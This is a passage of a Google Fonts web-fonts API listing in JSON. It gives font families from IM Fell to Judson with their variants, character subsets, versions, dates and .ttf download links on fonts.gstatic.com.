SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfelldwpicasc/v10/0ybjGCAu5PfqkvtGVU15aBhXz3EUrnTW-BiKEUiBGA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell Double Pica","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfelldoublepica/v10/3XF2EqMq_94s9PeKF7Fg4gOKINyMtZ8rT0S1UL5Ayp0.ttf","italic":"http://fonts.gstatic.com/s/imfelldoublepica/v10/3XF0EqMq_94s9PeKF7Fg4gOKINyMtZ8rf0a_VJxF2p2G8g.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell Double Pica SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfelldoublepicasc/v10/neIazDmuiMkFo6zj_sHpQ8teNbWlwBB_hXjJ4Y0Eeru2dGg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell English","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellenglish/v10/Ktk1ALSLW8zDe0rthJysWrnLsAz3F6mZVY9Y5w.ttf","italic":"http://fonts.gstatic.com/s/imfellenglish/v10/Ktk3ALSLW8zDe0rthJysWrnLsAzHFaOdd4pI59zg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell English SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellenglishsc/v10/a8IENpD3CDX-4zrWfr1VY879qFF05pZLO4gOg0shzA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell French Canon","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellfrenchcanon/v10/-F6ufiNtDWYfYc-tDiyiw08rrghJszkK6coVPt1ozoPz.ttf","italic":"http://fonts.gstatic.com/s/imfellfrenchcanon/v10/-F6gfiNtDWYfYc-tDiyiw08rrghJszkK6foXNNlKy5PzzrU.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell French Canon SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellfrenchcanonsc/v10/FBVmdCru5-ifcor2bgq9V89khWcmQghEURY7H3c0UBCVIVqH.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell Great Primer","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellgreatprimer/v10/bx6aNwSJtayYxOkbYFsT6hMsLzX7u85rJorXvDo3SQY1.ttf","italic":"http://fonts.gstatic.com/s/imfellgreatprimer/v10/bx6UNwSJtayYxOkbYFsT6hMsLzX7u85rJrrVtj4VTBY1N6U.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"IM Fell Great Primer SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imfellgreatprimersc/v10/ga6daxBOxyt6sCqz3fjZCTFCTUDMHagsQKdDTLf9BXz0s8FG.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Ibarra Real Nova","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlSdQiA-DBIDCcaWtQzL4BZHoiDundw4ATyjed3EXdg5MDtVT9TWIvS.ttf","500":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlSdQiA-DBIDCcaWtQzL4BZHoiDundw4ATyjed3EXdS5MDtVT9TWIvS.ttf","600":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlSdQiA-DBIDCcaWtQzL4BZHoiDundw4ATyjed3EXe-48DtVT9TWIvS.ttf","700":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlSdQiA-DBIDCcaWtQzL4BZHoiDundw4ATyjed3EXeH48DtVT9TWIvS.ttf","italic":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlsdQiA-DBIDCcaWtQzL4BZHoiDkH5CH9yb5n3ZFmKopyiuXztxXZvSkTo.ttf","500italic":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlsdQiA-DBIDCcaWtQzL4BZHoiDkH5CH9yb5n3ZFmKopxquXztxXZvSkTo.ttf","600italic":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlsdQiA-DBIDCcaWtQzL4BZHoiDkH5CH9yb5n3ZFmKop_apXztxXZvSkTo.ttf","700italic":"http://fonts.gstatic.com/s/ibarrarealnova/v5/sZlsdQiA-DBIDCcaWtQzL4BZHoiDkH5CH9yb5n3ZFmKop8-pXztxXZvSkTo.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Iceberg","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/iceberg/v8/8QIJdijAiM7o-qnZuIgOq7jkAOw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Iceland","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/iceland/v9/rax9HiuFsdMNOnWPWKxGADBbg0s.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Imprima","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/imprima/v9/VEMxRoN7sY3yuy-7-oWHyDzktPo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Inconsolata","variants":["200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v20","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7LppwU8aRr8lleY2co.ttf","300":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp9s8aRr8lleY2co.ttf","regular":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp4U8aRr8lleY2co.ttf","500":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp7c8aRr8lleY2co.ttf","600":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp1s7aRr8lleY2co.ttf","700":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lpp2I7aRr8lleY2co.ttf","800":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7LppwU7aRr8lleY2co.ttf","900":"http://fonts.gstatic.com/s/inconsolata/v20/QldgNThLqRwH-OJ1UHjlKENVzkWGVkL3GZQmAwLYxYWI2qfdm7Lppyw7aRr8lleY2co.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Inder","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/inder/v9/w8gUH2YoQe8_4vq6pw-P3U4O.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Indie Flower","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/indieflower/v12/m8JVjfNVeKWVnh3QMuKkFcZlbkGG1dKEDw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Inika","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/inika/v9/rnCm-x5X3QP-phTHRcc2s2XH.ttf","700":"http://fonts.gstatic.com/s/inika/v9/rnCr-x5X3QP-pix7auM-mHnOSOuk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Inknut Antiqua","variants":["300","regular","500","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-11-06","files":{"300":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU2vwrj5bBoIYJNf.ttf","regular":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GSYax7VC4ot_qNB4nYpBdaKXUD6pzxRwYB.ttf","500":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU33w7j5bBoIYJNf.ttf","600":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU3bxLj5bBoIYJNf.ttf","700":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU2_xbj5bBoIYJNf.ttf","800":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU2jxrj5bBoIYJNf.ttf","900":"http://fonts.gstatic.com/s/inknutantiqua/v7/Y4GRYax7VC4ot_qNB4nYpBdaKU2Hx7j5bBoIYJNf.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Inria Sans","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/inriasans/v2/ptRPTiqXYfZMCOiVj9kQ3ELaDQtFqeY3fX4.ttf","300italic":"http://fonts.gstatic.com/s/inriasans/v2/ptRRTiqXYfZMCOiVj9kQ1OzAgQlPrcQybX4pQA.ttf","regular":"http://fonts.gstatic.com/s/inriasans/v2/ptRMTiqXYfZMCOiVj9kQ5O7yKQNute8.ttf","italic":"http://fonts.gstatic.com/s/inriasans/v2/ptROTiqXYfZMCOiVj9kQ1Oz4LSFrpe8uZA.ttf","700":"http://fonts.gstatic.com/s/inriasans/v2/ptRPTiqXYfZMCOiVj9kQ3FLdDQtFqeY3fX4.ttf","700italic":"http://fonts.gstatic.com/s/inriasans/v2/ptRRTiqXYfZMCOiVj9kQ1OzAkQ5PrcQybX4pQA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Inria Serif","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/inriaserif/v2/fC14PYxPY3rXxEndZJAzN3wAVQjFhFyta3xN.ttf","300italic":"http://fonts.gstatic.com/s/inriaserif/v2/fC16PYxPY3rXxEndZJAzN3SuT4THjliPbmxN0_E.ttf","regular":"http://fonts.gstatic.com/s/inriaserif/v2/fC1lPYxPY3rXxEndZJAzN0SsfSzNr0Ck.ttf","italic":"http://fonts.gstatic.com/s/inriaserif/v2/fC1nPYxPY3rXxEndZJAzN3SudyjvqlCkcmU.ttf","700":"http://fonts.gstatic.com/s/inriaserif/v2/fC14PYxPY3rXxEndZJAzN3wQUgjFhFyta3xN.ttf","700italic":"http://fonts.gstatic.com/s/inriaserif/v2/fC16PYxPY3rXxEndZJAzN3SuT5TAjliPbmxN0_E.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Inter","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyeMZhrib2Bg-4.ttf","200":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyfMZhrib2Bg-4.ttf","300":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuOKfMZhrib2Bg-4.ttf","regular":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyfMZhrib2Bg-4.ttf","500":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuI6fMZhrib2Bg-4.ttf","600":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuGKYMZhrib2Bg-4.ttf","700":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuFuYMZhrib2Bg-4.ttf","800":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyYMZhrib2Bg-4.ttf","900":"http://fonts.gstatic.com/s/inter/v2/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuBWYMZhrib2Bg-4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Irish Grover","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/irishgrover/v10/buExpoi6YtLz2QW7LA4flVgf-P5Oaiw4cw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Istok Web","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v15","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/istokweb/v15/3qTvojGmgSyUukBzKslZAWF-9kIIaQ.ttf","italic":"http://fonts.gstatic.com/s/istokweb/v15/3qTpojGmgSyUukBzKslpA2t61EcYaQ7F.ttf","700":"http://fonts.gstatic.com/s/istokweb/v15/3qTqojGmgSyUukBzKslhvU5a_mkUYBfcMw.ttf","700italic":"http://fonts.gstatic.com/s/istokweb/v15/3qT0ojGmgSyUukBzKslpA1PG-2MQQhLMMygN.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Italiana","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/italiana/v9/QldNNTtLsx4E__B0XTmRY31Wx7Vv.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Italianno","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/italianno/v10/dg4n_p3sv6gCJkwzT6Rnj5YpQwM-gg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Itim","variants":["regular"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/itim/v4/0nknC9ziJOYewARKkc7ZdwU.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Jacques Francois","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jacquesfrancois/v8/ZXu9e04ZvKeOOHIe1TMahbcIU2cgmcPqoeRWfbs.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Jacques Francois Shadow","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jacquesfrancoisshadow/v9/KR1FBtOz8PKTMk-kqdkLVrvR0ECFrB6Pin-2_q8VsHuV5ULS.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Jaldi","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/jaldi/v7/or3sQ67z0_CI30NUZpD_B6g8.ttf","700":"http://fonts.gstatic.com/s/jaldi/v7/or3hQ67z0_CI33voSbT3LLQ1niPn.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"JetBrains Mono","variants":["100","200","300","regular","500","600","700","800","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-12-02","files":{"100":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8yK1jPVmUsaaDhw.ttf","200":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8SKxjPVmUsaaDhw.ttf","300":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8lqxjPVmUsaaDhw.ttf","regular":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8yKxjPVmUsaaDhw.ttf","500":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8-qxjPVmUsaaDhw.ttf","600":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8FqtjPVmUsaaDhw.ttf","700":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8L6tjPVmUsaaDhw.ttf","800":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDbY2o-flEEny0FZhsfKu5WU4zr3E_BX0PnT8RD8SKtjPVmUsaaDhw.ttf","100italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO-Lf1OQk6OThxPA.ttf","200italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO8LflOQk6OThxPA.ttf","300italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO_VflOQk6OThxPA.ttf","italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO-LflOQk6OThxPA.ttf","500italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO-5flOQk6OThxPA.ttf","600italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO9VeVOQk6OThxPA.ttf","700italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO9seVOQk6OThxPA.ttf","800italic":"http://fonts.gstatic.com/s/jetbrainsmono/v1/tDba2o-flEEny0FZhsfKu5WU4xD-IQ-PuZJJXxfpAO8LeVOQk6OThxPA.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Jim Nightshade","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jimnightshade/v8/PlIkFlu9Pb08Q8HLM1PxmB0g-OS4V3qKaMxD.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Jockey One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/jockeyone/v10/HTxpL2g2KjCFj4x8WI6ArIb7HYOk4xc.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Jolly Lodger","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jollylodger/v8/BXRsvFTAh_bGkA1uQ48dlB3VWerT3ZyuqA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Jomhuria","variants":["regular"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/jomhuria/v9/Dxxp8j-TMXf-llKur2b1MOGbC3Dh.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Jomolhari","variants":["regular"],"subsets":["latin","tibetan"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jomolhari/v2/EvONzA1M1Iw_CBd2hsQCF1IZKq5INg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Josefin Sans","variants":["100","200","300","regular","500","600","700","100italic","200italic","300italic","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjRXMFrLgTsQV0.ttf","200":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_LjQXMFrLgTsQV0.ttf","300":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_GbQXMFrLgTsQV0.ttf","regular":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjQXMFrLgTsQV0.ttf","500":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ArQXMFrLgTsQV0.ttf","600":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ObXXMFrLgTsQV0.ttf","700":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_N_XXMFrLgTsQV0.ttf","100italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtINhKibpUV3MEQ.ttf","200italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTNIJhKibpUV3MEQ.ttf","300italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCT6oJhKibpUV3MEQ.ttf","italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtIJhKibpUV3MEQ.ttf","500italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCThoJhKibpUV3MEQ.ttf","600italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTaoVhKibpUV3MEQ.ttf","700italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTU4VhKibpUV3MEQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Josefin Slab","variants":["100","200","300","regular","500","600","700","100italic","200italic","300italic","italic","500italic","600italic","700italic"],"subsets":["latin"],"version":"v12","lastModified":"2020-11-20","files":{"100":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W71mtd3k3K6CcEyI.ttf","200":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W79msd3k3K6CcEyI.ttf","300":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W7wesd3k3K6CcEyI.ttf","regular":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W71msd3k3K6CcEyI.ttf","500":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W72usd3k3K6CcEyI.ttf","600":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W74erd3k3K6CcEyI.ttf","700":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W776rd3k3K6CcEyI.ttf","100italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvnzs9L4KZAyK43w.ttf","200italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvHzo9L4KZAyK43w.ttf","300italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvwTo9L4KZAyK43w.ttf","italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvnzo9L4KZAyK43w.ttf","500italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvrTo9L4KZAyK43w.ttf","600italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvQT09L4KZAyK43w.ttf","700italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHveD09L4KZAyK43w.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Jost","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","latin","latin-ext"],"version":"v4","lastModified":"2020-09-29","files":{"100":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7myjJAVGPokMmuHL.ttf","200":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mwjJQVGPokMmuHL.ttf","300":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mz9JQVGPokMmuHL.ttf","regular":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7myjJQVGPokMmuHL.ttf","500":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7myRJQVGPokMmuHL.ttf","600":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mx9IgVGPokMmuHL.ttf","700":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mxEIgVGPokMmuHL.ttf","800":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mwjIgVGPokMmuHL.ttf","900":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mwKIgVGPokMmuHL.ttf","100italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZu0ENI0un_HLMEo.ttf","200italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZm0FNI0un_HLMEo.ttf","300italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZrMFNI0un_HLMEo.ttf","italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZu0FNI0un_HLMEo.ttf","500italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZt8FNI0un_HLMEo.ttf","600italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZjMCNI0un_HLMEo.ttf","700italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZgoCNI0un_HLMEo.ttf","800italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZm0CNI0un_HLMEo.ttf","900italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZkQCNI0un_HLMEo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Joti One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jotione/v9/Z9XVDmdJQAmWm9TwaYTe4u2El6GC.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Jua","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/jua/v8/co3KmW9ljjAjc-DZCsKgsg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Judson","variants":["regular","italic","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/judson/v13/FeVRS0Fbvbc14VxRD7N01bV7kg.ttf","italic":"http://fonts.gstatic.com/s/judson/v13/FeVTS0Fbvbc14VxhDblw97BrknZf.ttf","700":"http://fonts.gstatic.com/s/judson/v1